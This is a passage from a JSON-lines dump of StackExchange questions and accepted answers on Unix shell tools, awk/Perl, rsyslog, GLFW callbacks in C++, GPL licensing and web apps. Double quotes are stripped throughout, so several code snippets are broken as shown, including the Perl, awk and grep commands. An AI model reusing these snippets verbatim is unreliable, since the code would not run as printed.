supervision),Familiar with the development environment and tools,Capable of supervising or teaching junior developers,Capable of designing and implementing small to medium sized projects.It is hard to talk about your specific situation but there is usually is a learning curve when joining a new team. No matter how standard the tools and processes they use, each team has a history of decisions that lead them to their current state. If the organization uses custom libraries or environments, my first question would be to ask about documentation and training. Big companies may have formal training for new employees, even senior ones. Read any existing designs, the build environment documentation, processes and so on. If these do not exist, offer to document them.I would then ask to pair with an existing senior developer. This is usually the fastest way to learn what is expected and how things work. How did they solve that problem? How much effort did they spend on unit tests and reviews? Why did they do it this way and not that way? Ensure the other developer helps you setup your development environment and walks you through the release process, too.Make it clear to them you know the language and tools, just not their techniques. For example, if you did things a different way previously and think it is better than their way, tentatively and respectfully suggest it.Hopefully, pairing with them will not slow them down. They may even appreciate another set of eyes to catch typos and issues before they are committed to source control.Lastly, realize you are not going to fully understand a large project within a week so start fixing small bugs or features. Make sure your buddy reviews them and you get any and all feedback. You will miss things. You will make mistakes. That's OK. Learn from them, do not repeat them and work hard. If you are good at what you do, you will get there."  } 
{  "id": "_softwareengineering.254955"  , "question": "I've been playing with making image mosaics.  My script takes a large number of images, scales them down to thumbnail size and then uses them as tiles to approximate a target image.The approach is actually quite pleasing:I compute the mean square error for every thumb in every tile position.At first I just used a greedy placement: put the thumb with the least error on the tile it best fits, and then the next and so on.The problem with greedy is that it leaves you eventually placing the most different thumbs on the least popular tiles, whether they match closely or not.  I show examples here:http://williamedwardscoder.tumblr.com/post/84505278488/making-image-mosaicsSo I then do random swaps until the script is interrupted.  The results are quite OK.A random swap of two tiles is not always an improvement, but sometimes a rotation of three or more tiles results in a global improvement i.e. A <-> B may not improve, but A -> B -> C -> A1 may..For this reason, after picking two random tiles and discovering they do not improve, I pick a bunch of tiles to evaluate if they can be the third tile in such a rotation.  I do not explore if any set of four tiles can be profitably rotated, and so on; that'd be super-expensive real soon.But this takes time.. A lot of time!Is there a better and faster approach?Bounty UpdateI tested out various Python implementations and bindings of the Hungarian Method.By far the fastest was the pure-Python https://github.com/xtof-durr/makeSimple/blob/master/Munkres/kuhnMunkres.pyMy hunch is that this approximates the optimal answer; when run on a test image, all other libraries agreed on the result but this kuhnMunkres.py, whilst being orders of magnitude faster, only got very very very close to the score the other implementations agreed on.Speed is very data-dependent; Mona Lisa rushed through kuhnMunkres.py in 13 minutes, but the Scarlet Chested Parakeet took 16 minutes.Results were much the same as random swaps and rotations for the Parakeet:(kuhnMunkres.py on the left, random swaps on the right; original image for comparision)However, for the Mona Lisa image I tested with, the results were noticeably improved and she actually had her defined 'smile' shining through:(kuhnMunkres.py on the left, random swaps on the right)"  , "title": "Algorithms for making image mosaics - is there a quicker way than this?"  , "tags": "algorithms;graphics"  , "accepted_answer": "Yes, there are two better and faster approaches.Simpler problem : for each tile, choose the best thumb (with possible duplication). Ok, that's cheating, but can only lead to better visual result.Your take is algorithmically more interesting, and boils down to linear assignment problem, assuming you take MSE as match costs whose sum must be minimal. Such problem can be solved in polynomial time, via eg the Hungarian MethodThen, you can adjust your costs by replacing MSE by a more visually accurate distance, without changing the underlying algorithm."  } 
{  "id": "_unix.155833"  , "question": "I asked a similar question yesterday (Merging two tables including multiple ocurrence of column identifiers) but ran into a problem with unique lines.I would like to merge two tables based on column 1:File 1:1 today  1 green  2 tomorrow  3 redFile 2:1 a lot  1 sometimes  2 at work  2 at home  2 sometimes  3 new  4 a lot  5 sometimes  6 at work  Desired output (file 3):1     today   a lot  1     today   sometimes  1     green   a lot  1     green   sometimes  2     tomorrow    at work  2     tomorrow    at home  2     tomorrow    sometimes  3     red newI came up with the following:awk -F '[\\t]' -v OFS='\\t' '{i=$1;$1=x} NR==FNR{A[i]=$0;next} A[i]{print i,$0A[i]}' file2 file1 > file3However, it gives me only:1     today   sometimes  2     tomorrow    sometimes  3     red newPlease note that the solutions in the previous thread (join and awk) would give me a combination of the 2 files including all lines. I would like to have only the lines of file 1 (column 1 as the identifier) but report all matching occurrences in file 2.Edit:columns are tab separatedReal File 1:    fig|395961.4.peg.2627   Bacteria Cyanobacteria unknown unknown  1795(Column1: fig... Column2: Bacteria... Column3 1795)Real File 2:    fig|1000561.3.peg.1838  Cysteine desulfurase (EC 2.8.1.7)   Test - Thiamin  Cofactors, Vitamins, Prosthetic Groups, Pigments(Column1: fig... Column2: Cysteine... Column3 Test...)"  , "title": "Merging two tables including multiple ocurrence of column identifiers and unique lines"  , "tags": "text processing;awk;join"  , "accepted_answer": "I would do this in Perl:#!/usr/bin/env perl use strict;my (%file1,%file2);## Open the 1st fileopen(A,file1);while(<A>){    ## Remove trailing newlines    chomp;     ## Split the current line on tabs into the @F array.    my @F=split(/\\t/);     ## This is the tricky part. It adds fields 2-last    ## to the hash $file1. The value of this hash is an array    ## and the keys are the 1st fields. This will result in a list    ## of all 1st fields and all their associated columns.    push @{$file1{$F[0]}},@F[1..$#F];} ## Open the 2nd fileopen(B,file2);while(<B>){    ## Remove trailing newlines    chomp;     ## Split the current line on tabs into the @F array.    my @F=split(/\\t/);     ## If the current 1st field was found in file1    if (defined($file1{$F[0]})) {        ## For each of the columns associated with        ## this 1st field in the 1st file.        foreach my $col (@{$file1{$F[0]}}) {            print $F[0]\\t$col\\t@F[1..$#F]\\n;        }    }} You could golf it into a (long) one-liner:$ perl -lane 'BEGIN{open(A,file1); while(<A>){chomp; @F=split(/\\t/);                     push @{$k{$F[0]}},@F[1..$#F];}  }               $k{$F[0]} && print $F[0]\\t@{$k{$F[0]}}\\t@F[1..$#F]' file21   today green a lot1   today green sometimes2   tomorrow    at work2   tomorrow    at home2   tomorrow    sometimes3   red newIf you're working with huge files, let it run a while. "  } 
{  "id": "_unix.24532"  , "question": "I want to configure linux box to use CST w/o daylight. My first idea was using the UTC-06 zone file, but for some weird reason it provides UTC+6, not UTC-6 time!After that I read the List of tz database timezones article on Wikipedia, and copied the America/Costa_Rica zonefile to /etc/localtime. Now the timezone seems OK, but what if sometime Costa Rika goverment will decide to to to daylight?What is the correct way to set UTC-6 for Linux?"  , "title": "How to set CST timezone w/o daylight period?"  , "tags": "linux;timezone"  } 
{  "id": "_unix.28911"  , "question": "I need to kill all processs in a certain shell excluding certain processes.Like sh which is my shell. And the comand.This is what currently in my shell right now.rcihp146 :/home/msingh2> ps   PID TTY       TIME COMMAND  8880 pts/258   0:00 ps  5908 pts/258   0:00 shBut if there are some extra processes I would like to kill all of them excluding the above two.I tried a one liner for this purpose and it didn't work:rcihp146 :/home/msingh2> ps | awk '{system(kill -9 $1)}'sh: kill: The number of parameters specified is not correct.sh: kill: The number of parameters specified is not correct.sh: kill: The number of parameters specified is not correct.sh: kill: The number of parameters specified is not correct.But it works if I only give a specific pid like below: rcihp146 :/home/msingh2> ps | awk '{system(kill -9 23456)}'I need to exclude two or three process (like ps, sh) from being killed.Is there any way to do this?"  , "title": "killing processes automatically"  , "tags": "shell script;process;awk"  , "accepted_answer": "Of course the one liner you wrote won't work since the $1 is inside the quotes. Try this:ps| gawk '{ if ($4 != COMMAND && $4 != sh && $4 != ps) system(kill -KILL $1) }'Have fun but use it with caution. I generally don't like system commands in gawk, certainly not the kill command."  } 
{  "id": "_unix.364092"  , "question": "I need to migrate some rules from syslog-ng to rsyslog. The purpose of the rules is to collect the log files from the organization pcs. The initial syslog-ng config consists of the following filers and destinations:filter f_clamscan { facility(uucp) and match (Clamscan); };filter f_sentinel_memoryscan { facility(uucp) and match (Sentinel_memoryscan); };filter f_sentinel_messages { facility(uucp) and match (Sentinel_messages); };filter f_sentinel_quarantine { facility(uucp) and match (Sentinel_quarantine); };filter f_sentinel_realtime { facility(uucp) and match (Sentinel_realtime); };filter f_clamwin_update { facility(uucp) and match (Clamwin_update); };destination d_log {  file(/var/log/clients/$HOST/$FACILITY.log \\    owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes));};destination d_log_clamscan {  file(/var/log/clients/$HOST/clamscan.log \\    owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes));};destination d_log_sentineln_memoryscan {  file(/var/log/clients/$HOST/sentinel_memoryscan.log \\    owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes));};destination d_log_sentinel_messages {  file(/var/log/clients/$HOST/sentinel_messages.log \\    owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes));};destination d_log_sentinel_quarantine {  file(/var/log/clients/$HOST/sentinel_quarantine.log \\    owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes));};destination d_log_sentinel_realtime {  file(/var/log/clients/$HOST/sentinel_realtime.log \\    owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes));};destination d_log_clamwin_update {  file(/var/log/clients/$HOST/clamwin_update.log \\    owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes));};log { source(s_external); filter (f_clamscan); destination(d_log_clamscan); };log { source(s_external); filter (f_sentinel_memoryscan); destination(d_log_sentinel_memoryscan); };log { source(s_external); filter (f_sentinel_messages); destination(d_log_sentinel_messages); };log { source(s_external); filter (f_sentinel_quarantine); destination(d_log_sentinel_quarantine); };log { source(s_external); filter (f_sentinel_realtime); destination(d_log_sentinel_realtime); };log { source(s_external); filter (f_clamwin_update); destination(d_log_clamwin_update); };So far I tried multiple ways, but none seems to be working as expected.Below is my configuration:$template DYNclamscan,/var/log/clients/%HOSTNAME%/clamscan.log$template DYNsentinelmemory,/var/log/clients/%HOSTNAME%/sentinel_memoryscan.log$template DYNsentinelmessages,/var/log/clients/%HOSTNAME%/sentinel_messages.log$template DYNsentinelquarantine,/var/log/clients/%HOSTNAME%/sentinel_quarantine.log$template DYNsentinelrealtime,/var/log/clients/%HOSTNAME%/sentinel_realtime.log$template DYNclamwinupdate,/var/log/clients/%HOSTNAME%/clamwin_update.log:msg, contains, clamscan  ?DYNclamscan& ~:msg, contains, sentinel_memoryscan ?DYNsentinelmemory& ~:msg, contains, sentinel_messages ?DYNsentinelmessages& ~:msg, contains, sentinel_quarantine ?DYNsentinelquarantine& ~:msg, contains, sentinel_realtime ?DYNsentinelrealtime& ~:msg, contains, clamwin_update ?DYNclamwinupdate& ~The first file clamscan.log seems to be created, but the others are not created.Do you see something wrong in my config? Or do you have another idea how to write these rules?"  , "title": "Migrate config from syslog-ng to rsyslog"  , "tags": "rsyslog;syslog ng"  } 
{  "id": "_unix.367035"  , "question": "I saw an expression like command1 | {command2;command3;command4} and I was thinking what this actually means, I know the pipe symbol, I know that {...} forces to run the commands inside the curly brackets in the main shell, but I am puzzled what they mean in combination."  , "title": "What exactly is happening when a pipe is followed by a command grouping?"  , "tags": "shell;command line;pipe"  } 
{  "id": "_unix.60127"  , "question": "I recently installed Parsix (Debian) on my system, and I've been struggling to figure out how to autostart my services. Of the list of services that don't run and should run are:sshapachemysqlThey run easily enough with the generic: service ssh start, and when I run> update-rc.d ssh defaults System startup links for /etc/init.d/ssh already exist.As an added note:> service ssh status[FAIL] sshd is not running ... failed!Edit:ls /etc/rc*.d/*ssh* produces/etc/rc0.d/K50ssh  /etc/rc2.d/K50ssh  /etc/rc4.d/K50ssh  /etc/rc6.d/K50ssh/etc/rc1.d/K50ssh  /etc/rc3.d/K50ssh  /etc/rc5.d/S50ssh(does K mean Kill??)Also, the current run-level is set to 5."  , "title": "No communication services enabled following startup"  , "tags": "debian;startup;services"  } 
{  "id": "_unix.330787"  , "question": "Sometimes when I log on to a system via SSH (for example to the same server), I have such privileges that there can install some software, but to do that I need to know how package management software is in the system.Is there a way to quickly find it out?In particular, for me uname -a returns:Linux cloud 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64 x86_64 x86_64 GNU/LinuxHow package management system can be here?"  , "title": "How can I find information about the package management software in the linux (unix) systems, in particular in cloud?"  , "tags": "command line;package management;cloud"  , "accepted_answer": "Well, the easiest way (at least to me) would be to simply check which package manager is installed.It is not a wild guess to assume you are either using apt or yum (Debian based or Red Hat based package managers).So, if you try:which apt/usr/bin/aptYou see that apt is installed. If you try:which yum<no output>Or:which pacman<no output>Then you do not have yum, or pacman in other words; for a case like this, use apt!If you have none of the above, you will have to find out first of all which distribution you are using. Try this command:lsb_release -aNo LSB modules are available.Distributor ID: DebianDescription:    Debian GNU/Linux 8.6 (jessie)Release:    8.6Codename:   jessieBased on the output above you can do a simple online search for the package manager for said distribution."  } 
{  "id": "_webapps.15548"  , "question": "Is there a way to automatically create a label in Gmail once you send it, which could also create the label on the receiving side of the email? I want to have labels automatically generated on both my end and the recipient's. Is that possible?Or maybe create a unique ID to keep track of that email sent history?"  , "title": "Create labels automatically from sent emails in Gmail, same for recipient's end"  , "tags": "gmail;gmail labels"  } 
{  "id": "_codereview.119372"  , "question": "I'm having some issues coming up with a sensible solution for using shared state in a C-style function pointer. I am using GLFW to handle my OpenGL context and have created a thin wrapper around all of the setup code. I want to provide a way of registering callbacks for key presses, however the glfwSetKeyCallback takes a standard C-style function pointer so I cannot pass it a lambda that captures state from the Wrapper class.Therefore, I currently stores the state in an anonymous namespace in the compilation unit and reference it in the GLContext class and handler registration code.GLContext.hpp:#ifndef ENGINE_GLCONTEXT_H#define ENGINE_GLCONTEXT_H#include Types.hpp#include OpenGL.hpp#include <map>namespace Engine{class GLContext{public:    typedef int32_t GLFWKeyCode;    GLContext(int32_t width, int32_t height, const char* name);    ~GLContext();    bool running();    void swap_buffers();private:    GLFWwindow* _window;};void register_key_handler(GLContext::GLFWKeyCode key, std::function<void()> callback);} // namespace Engine#endifGLContext.cpp:#include <iostream>#include <Engine/Types.hpp>#include <Engine/GLContext.hpp>namespace Engine{namespace { // Anonymous namespace to hide state from global scope     std::map<GLContext::GLFWKeyCode, std::function<void()>> key_handlers;}GLContext::GLContext(int32_t width, int32_t height, const char* name){    // .. Init code    // Cannot use capturing lambda (for [this]) where a function pointer is    // expected so use the key_handlers map in anonymous namespace.    glfwSetKeyCallback(_window,        [] (GLFWwindow* window, int key, int scancode, int action, int mode) {            if (action == GLFW_PRESS && key_handlers[key])                key_handlers[key]();        });    // Tap escape key to close    register_key_handler(GLFW_KEY_ESCAPE, [this] () {            glfwSetWindowShouldClose(this->_window, GL_TRUE);        });    // .. More init code    }// .. rest of implementationvoid register_key_handler(GLContext::GLFWKeyCode key, std::function<void()> callback){    key_handlers[key] = callback;}} // namespace EngineThe issue I have with this code is that ALL GLContexts share the same callbacks. I don't expect to have more than one GLContext at a time, but if I can somehow encapsulate it that would be ace. The other issue is that clang gives me warnings about exit-time destructor for the callback map, which I understand to be an issue if some of its data is freed before the end of the program.To get rid of the compiler warning I could heap-allocate the map and handle the resources using RAII in the GLContext class:GLContext-RAII.hpp:#ifndef ENGINE_GLCONTEXT_H#define ENGINE_GLCONTEXT_H#include Types.hpp#include OpenGL.hpp#include <map>namespace Engine{class GLContext{public:    typedef int32_t GLFWKeyCode;    GLContext(int32_t width, int32_t height, const char* name);    ~GLContext();    bool running();    void swap_buffers();    void register_key_handler(GLContext::GLFWKeyCode key, std::function<void()> callback);private:    GLFWwindow* _window;};} // namespace Engine#endifGLContext-RAII.cpp:#include <iostream>#include <Engine/Types.hpp>#include <Engine/GLContext.hpp>namespace Engine{namespace { // Anonymous namespace to hide state from global scope    typedef std::map<GLContext::GLFWKeyCode, std::function<void()>> KeyHandlers;    KeyHandlers* key_handlers;}GLContext::GLContext(int32_t width, int32_t height, const char* name){    // .. Init code    // Allocate space for key_handlers on the heap;    key_handlers = new KeyHandlers;    glfwSetKeyCallback(_window,        [] (GLFWwindow* window, int key, int scancode, int action, int mode) {            if (action == GLFW_PRESS) {                auto handler = key_handlers->find(key);                if(handler != key_handlers->end())                    handler->second();            }        });    // Tap escape key to close    register_key_handler(GLFW_KEY_ESCAPE, [this] () {            glfwSetWindowShouldClose(this->_window, GL_TRUE);        });    // .. More init code}// Rest of implementationGLContext::~GLContext(){    // Deallocate key_handlers map    delete key_handlers;    glfwTerminate();}void GLContext::register_key_handler(GLContext::GLFWKeyCode key, std::function<void()> callback){    key_handlers->insert({key, callback});}} //namespace EngineThis has removes the exit-time destructor warning, with the caveat that the code is uglier (to me at least), has explicit news and deletes (not idiomatic C++11/14) and even worse the key_handlers pointer will leak resources if more than one GLContext is created (rather than sharing like in the first example).Is there an elegant way to get rid of the exit-time destructor warnings (sans -Wno-exit-time-destructors) and better yet allowing separate GLContexts to specify different handlers or should I just go and make GLContext a singleton and be done with it."  , "title": "(C++14) Handling state in C-style function pointer callbacks"  , "tags": "c++;c++14;pointers;lambda;state"  , "accepted_answer": "Whenever I see a callback in an API there is a high chance that there is a way to pass at least a custom void* through to that callback. In glfw that's embedded in GLFWwindow which has a void* user specified data in glfwGetWindowUserPointer and glfwSetWindowUserPointer. You can use this to keep a pointer to the state per window and reinterpret_cast it to a struct pointer of your choice. In your case this will probably be the GLContext class.GLContext::GLContext(int32_t width, int32_t height, const char* name):   key_handlers(){    // key_handlers is now a member;    // .. Init code    glfwSetWindowUserPointer(_window, std::reinterpret_cast<void*>(this));    glfwSetKeyCallback(_window,        [] (GLFWwindow* window, int key, int scancode, int action, int mode) {            auto thiz = std::reinterpret_cast<GLContext*>(glfwGetWindowUserPointer(window));            if (action == GLFW_PRESS) {                thiz->handlePress(key);            }        });    // Tap escape key to close    register_key_handler(GLFW_KEY_ESCAPE, [this] () {            glfwSetWindowShouldClose(this->_window, GL_TRUE);        });    // .. More init code}GLContext::handlePress(int key) {    auto handler = key_handlers->find(key);    if(handler != key_handlers->end())        handler->second();}This approach can be taken for all callbacks. Keep in mind that they all have to use the same UserPointer."  } 
{  "id": "_unix.31957"  , "question": "Is there any terminal emulator where the user can choose the position of the tab bar? I want to have the tab bar on the left, with vertically aligned tabs, or configure the tab-bar to be multi-line. I often have many (>20) tabs open in my terminal, and the information on the tabs becomes completely unreadable. I would like to configure the tab-bar to either be vertically aligned on the left, or be multi-row (a bit like the configurability of Tab Mix Plus in Firefox)Can this be done in gnome-terminal, or in konsole, or in any other terminal emulator? Another feature I'm missing dearly is the 'monitor for silence' and 'monitor for activity' pair, with timeouts that can be configured. Also, I'd like the terminal to do pseudo-transparency like gnome-terminal can do in gnome. So in summary, I'm looking for a rich-featured terminal emulator.Who can recommend one?Related question:Is there a (light-weight) replacement for `rxvt-unicode`?"  , "title": "Configurable tab-bar, or rich-featured terminal emulator"  , "tags": "gnome terminal;terminal emulator;konsole"  } 
{  "id": "_scicomp.27265"  , "question": "Suppose I have information about the nodes, their XYZ coordinates, and their element connectivities.I want to use the Hermite Bicubic Surface to convert the curvilinear surface from the connectivities into the Hermite Bicubic Surface. However, in order to do that, I need the information of the first and second derivatives of each coordinates at the s1 and s2. Is there any idea how to get the derivatives with just those information from above?"  , "title": "Get the Derivatives for XYZ coordinates in Hermite Bicubic Approximation"  , "tags": "finite element;computational geometry;interpolation"  } 
{  "id": "_softwareengineering.295214"  , "question": "Me and 2 of my friends been working on a small app. The source code of the app is on a private repository on BitBucket but now we would like to make the code of our app public under the terms of GPL.The problem is, when we started the application, we did not put in the classes or anywhere for that mater the copyright as stated in the GNU manual on how to apply the terms to your new programsMy question is: Can we annotate the classes now and make a commit with them and the app is under gpl license.(even if our previous commits did not include any of the copyright text.Or we should make a new repository and upload the software with the updated gnu license text.We would prefer the first method if possible, but if it is a must we can make a new repository."  , "title": "Add GPL to an existing application"  , "tags": "licensing;gpl;gnu"  , "accepted_answer": "If you and your two friends are all in agreement on this course of action, and the three of you created 100% of the codebase, you can change its licensing without any legal trouble.If you've accepted any outside submissions, that's when things get complicated.  The outside authors may hold copyright to the code they wrote, and you're using it under the terms of the license as it existed when they contributed their code, so unilaterally changing the licensing out from under them may upset them.  If so, you'd need to clear it with all of your contributors first.  But if you don't have any external contributors, then it's your code. License it however you want.WRT license notifications, it's no different from any other software licensing: the end user is bound by the terms of the license that they received.  If they downloaded your software or your code without the new license, they don't have to comply with it.  If they later update to the new version with the new license, then they will have to comply with the terms of the new license.  But you can't go back and change history by changing the license."  } 
{  "id": "_hardwarecs.645"  , "question": "My current graphics card is a Radeon HD 5770, and is by far the loudest part of my computer.  I'm looking for something quieter.Requirements.As quiet as possible, though I'm uncertain if my case's airflow permits passive cooling.Compatible with the opensource ATI Linux drivers.No less powerful than my current card.Power draw of 100W or less.I don't have a price limitation.  I figure that any card outside my price range will also be outside the power limit."  , "title": "Quiet ATI graphics card"  , "tags": "graphics cards;quiet computing"  } 
{  "id": "_unix.153527"  , "question": "I host many websites using cpanel. I want to know URL being accessed at real time.It seems that many old domains still point to my host and they seem to take a chunk of CPU"  , "title": "How to know URL being observed directly in a server"  , "tags": "networking;logs;traffic;cpanel"  } 
{  "id": "_codereview.106828"  , "question": "I created a very simple interpreter in Python. It's capable of doing basic math (unfortunately with only two numbers), creating quines and printing text.import redef prompt():    userInput = input(> )    return userInputdef parse(command):    if command.startswith(+):        numbers = re.findall(r'\\d+', command)        nums = ''.join(numbers)        nums.replace( , )        firstNumber = int(nums[0])        secondNumber = int(nums[1])        print(firstNumber + secondNumber)    elif command.startswith(-):        numbers = re.findall(r'\\d+', command)        nums = ''.join(numbers)        nums.replace( , )        firstNumber = int(nums[0])        secondNumber = int(nums[1])        print(firstNumber - secondNumber)    elif command.startswith(*):        numbers = re.findall(r'\\d+', command)        nums = ''.join(numbers)        nums.replace( , )        firstNumber = int(nums[0])        secondNumber = int(nums[1])        print(firstNumber * secondNumber)    elif command.startswith(/):        numbers = re.findall(r'\\d+', command)        nums = ''.join(numbers)        nums.replace( , )        firstNumber = int(nums[0])        secondNumber = int(nums[1])        print(firstNumber / secondNumber)    elif command.startswith(q):        print(command)    elif command.startswith(p):        print(command.strip(p ))while True:    userInput = prompt()    parse(userInput)Some examples:Input: +65Output: 11Input: q This is a quineOutput: q This is a quineIt's working good for me, but there's a few things I'd like to add, like multiple statements on one line and math with 2+ numbers.Is there anything I could do to improve this?Please remember I'm not a professional programmer and that this is one of the first interpreters I've ever written."  , "title": "Very simple interpreter"  , "tags": "python;python 3.x;interpreter"  } 
{  "id": "_unix.126469"  , "question": "I know that I can apply the grsecurity patches by compiling my own kernel. This is not a big deal to do it once, but too complex to have regular and easy kernel image updates. So I am looking for linux distributions which supports gsecurity as a kernel-package which I can easily update via a package manager. For Ubuntu there was a repository http://kernelsec.cr0.org/ which was probably trustable because it was linked by the gsecurity page. But it seems to end with kernel version 2.6.32.15.Since I am currently using ubuntu, it would be great to find something based on ubuntu or just on debian."  , "title": "Which distributions maintain a kernel package with grsecurity support"  , "tags": "security;distribution choice;grsecurity"  , "accepted_answer": "ArchLinux have newest kernel with grsec in their repo. More info about this package can be found on it's dedicated wiki page."  } 
{  "id": "_webapps.19306"  , "question": "My delicious account has a great many bookmarks tagged Bookmarks - this would have happened when I imported my browser bookmarks into the service. The tag is redundant, and I've worked on eliminating it's use. It's a matter of a few clicks to edit a single bookmark and remove the tag; the problem is that I have over 700 bookmarks with the Bookmarks tag. Ugh.Is there any easy or automated way to mass edit bookmark tags, or even to remove a particular tag altogether?"  , "title": "Mass tag update on bookmarks"  , "tags": "delicious;delicious tags"  , "accepted_answer": "Log into http://www.delicious.comAt the top there should be Home Bookmarks People Tags, click on Tags, My TagsOn the right hand side, underneath the search bar, highlighted in blue click on Delete TagsChoose a tag from the dropdown.  This will remove that tag from your bookmarks, and delete the tag.To just remove the tag from certain bookmarks without deleting it, select Bookmarks at the top.On the right hand side under the search bar, select Bulk Edit.  Select the bookmarks you wish to edit and go to Remove Tag under the thick blue line."  } 
{  "id": "_unix.75796"  , "question": "I have a VirtualBox machine with a single interface connected to VB's NAT mode.  What I would like to do is sniff all traffic coming from/to any machine behind that NAT. (I don't think I will need to sniff on more machines at the same time).Background for this is software testing.  More specifically, I'd like to see in bigger picture what exactly goes from/to the machine without the need to filter out all the noise that the host is already producing.I used to do this on Windows 7 with VMWare, where the traffic flew through a separate virtual interface on the host, so sniffing the traffic from (all) machines behind the NAT was as easy as sniffing on that interface only.Now I tried to achieve the same setup on Debian with VirtualBox, and I stopped at the fact that VirtualBox does not seem to separate the traffic this way:  on Debian Wireshark only offers eth0, nflog, lo and any (pseudo-device to capture on all others).  When I sniff on eth0, I can't easily distinguish between what came from host and what came from guest.Is it possible to do this with VirtualBox?  Or is there a better (easier) setup?Both machines are running Debian 7.0 Wheezy.Note: What I was (maybe naively) thinking as a possible solution was: a way to distinguish on the outgoing packets that they have been translated.  (Does NAT really not leave a trace?)  Now it strikes me that this would at least definitely not be easy for incoming packets..."  , "title": "Sniffing VirtualBox machine behind NAT"  , "tags": "virtualbox;tcpdump;nat"  } 
{  "id": "_softwareengineering.309377"  , "question": "To simplify the interface, is it better to just not have the getBalance() method? Passing 0 to the charge(float c); will give the same result:public class Client {    private float bal;    float getBalance() { return bal; }    float charge(float c) {        bal -= c;        return bal;    }}Maybe make a note in javadoc? Or, just leave it to the class user to figure out how to get the balance?"  , "title": "Better to have 2 methods with clear meaning, or just 1 dual use method?"  , "tags": "interfaces;cqrs"  , "accepted_answer": "You seem to suggest that the complexity of an interface is measured by the number of elements it has (methods, in this case).Many would argue that having to remember that the charge method can be used to return the balance of a Client adds much more complexity than having the extra element of the getBalance method. Making things more explicit is much simpler, especially to the point where it leaves no ambiguity, regardless of the higher number of elements in the interface.Besides, calling charge(0) violates the principle of least astonishment, also known as the WTFs per minute metric (from Clean Code, image below), making it hard for new members of the team (or current ones, after a while away from the code) until they understand that the call is actually used to get the balance. Think of how other readers would react:Also, the signature of the charge method goes against the guidelines of doing one and only one thing and command-query separation, because it causes the object to change its state while also returning a new value.All in all, I believe that the simplest interface in this case would be:public class Client {  private float bal;  float getBalance() { return bal; }  void charge(float c) { bal -= c; }}"  } 
{  "id": "_unix.264034"  , "question": "I want to track my time at the desk. As a first approximation, I guess tracking the time the computer is turned on, and then subtracting the relatively constant lunch break should do.How can I execute a script at the early stages of shutting down of my Debian jessie?"  , "title": "How to measure uptime between restarts"  , "tags": "init.d"  , "accepted_answer": "13ushm4n's answer shows how to execute a script during shutdown, but if you want to track the amount of time your computer is on, there are tools for that. On Debian, you could use uptimed; it will automatically keep track of the total amount of time your computer is on and off."  } 
{  "id": "_webapps.77803"  , "question": "Currently I'm using IFTTT to perform the following:If: Any new post on blogThen: Create a link post on my Facebook fan pageIs it possible to include labels used in blogger with hash tag in my Facebook post?For example, In my blog post, my labels are news and today.In my post to Facebook and Twitter, I would want to have something like this:Post TitleSummarized Post ContentHash tag of labels (#news, #today)Is it possible to achieve this in IFTTT?If not, any other method can do this?"  , "title": "How to post from blogger to Twitter and FB with blog label as # tag in post content?"  , "tags": "facebook;twitter;if this then that"  } 
{  "id": "_webmaster.71745"  , "question": "I'm generating leads from a number of sources, ultimately culminating in a variety of conversion options (call, form submit, and direct email), and I want to isolate the conversions which are coming from Adwords/PPC campaigns.  Is there a way that I can identify which conversions specifically came from PPC given that 'the powers that be' want to keep the various conversion points available?  I'm hoping to link the names of converted leads to their initial source, be it PPC, organic, or any other source.  I'm unsure of how to isolate the source because all inbound paths end at the same form submit / call / direct email conversion opportunities."  , "title": "How to track the source of a conversion using Google Analytics?"  , "tags": "google analytics;tracking;google adwords;conversions"  } 
{  "id": "_unix.243119"  , "question": "I have requirement where I need to construct a file based on control file.The first row of my source file contains column names. The control file contains the columns which I need to output into a fileSource file:ename|eid|emanger|esal|city|deptid|deptnamepeter|10|larry|$2000|melbourne|20|electronicsshaun|11|Peter|$1000|sydney|20|electronicsControl file:enameeidesalecityo/p -- we need output only the columns which are there in the control file and the column order should be the same as in the control file.Sample Output:ename|eid|esal|ecitypeter|10|$2000|melbourneshaun|11|$1000|sydney"  , "title": "Selecting the columns from source file based on control file"  , "tags": "shell script;awk;gawk"  } 
{  "id": "_unix.227841"  , "question": "I cannot find the leave command in xubuntu-terminal. Xubuntu uses BASH by default. I'm not sure whether leave is not available for BASH or Xubuntu. How do I use it? Or, is there any alternative to leave in BASH?"  , "title": "How to use the 'leave' command in Xubuntu?"  , "tags": "bash;xubuntu"  , "accepted_answer": "Apparently, leave(1) is a FreeBSD program, not a shell command.Here is a Ubuntu package for it: http://packages.ubuntu.com/search?keywords=leave&searchon=names&suite=trusty&section=allI guess it's not installed by default. You should be able to install it by running:sudo apt-get install leave"  } 
{  "id": "_webapps.18664"  , "question": "My friend added me into his group and I want to quit it. Facebook doesn't ask any confirmation for adding me into that group. How do I quit it?"  , "title": "How do I remove myself from Facebook chat group?"  , "tags": "facebook"  , "accepted_answer": "How do I leave a chat with multiple friends?To stop receiving messages in a chat with multiple friends, open the actions menu in the top right corner of the chat window and select Leave Conversation.From here."  } 
{  "id": "_unix.163726"  , "question": "I have to grep through some JSON files in which the line lengths exceed a few thousand characters. How can I limit grep to display context up to N characters to the left and right of the match? Any tool other than grep would be fine as well, so long as it available in common Linux packages.This would be example output, for the imaginary grep switch :$ grep -r foo *hello.txt: Once upon a time a big foo came out of the woods.$ grep - 10 -r foo *hello.txt: ime a big foo came of t"  , "title": "Limit grep context to N characters on line"  , "tags": "grep;search;json"  , "accepted_answer": "With GNU grep:N=10; grep -roP .{0,$N}foo.{0,$N} .Explanation:-o => Print only what you matched-P => Use Perl-style regular expressionsThe regex says match 0 to $N characters followed by foo followed by 0 to $N characters.If you don't have GNU grep:find . -type f -exec \\    perl -nle '        BEGIN{$N=10}        print if s/^.*?(.{0,$N}foo.{0,$N}).*?$/$ARGV:$1/    ' {} \\;Explanation:Since we can no longer rely on grep being GNU grep, we make use of find to search for files recursively (the -r action of GNU grep). For each file found, we execute the Perl snippet.Perl switches:-n Read the file line by line-l Remove the newline at the end of each line and put it back when printing-e Treat the following string as codeThe Perl snippet is doing essentially the same thing as grep. It starts by setting a variable $N to the number of context characters you want. The BEGIN{} means this is executed only once at the start of execution not once for every line in every file.The statement executed for each line is to print the line if the regex substitution works.The regex:Match any old thing lazily1 at the start of line 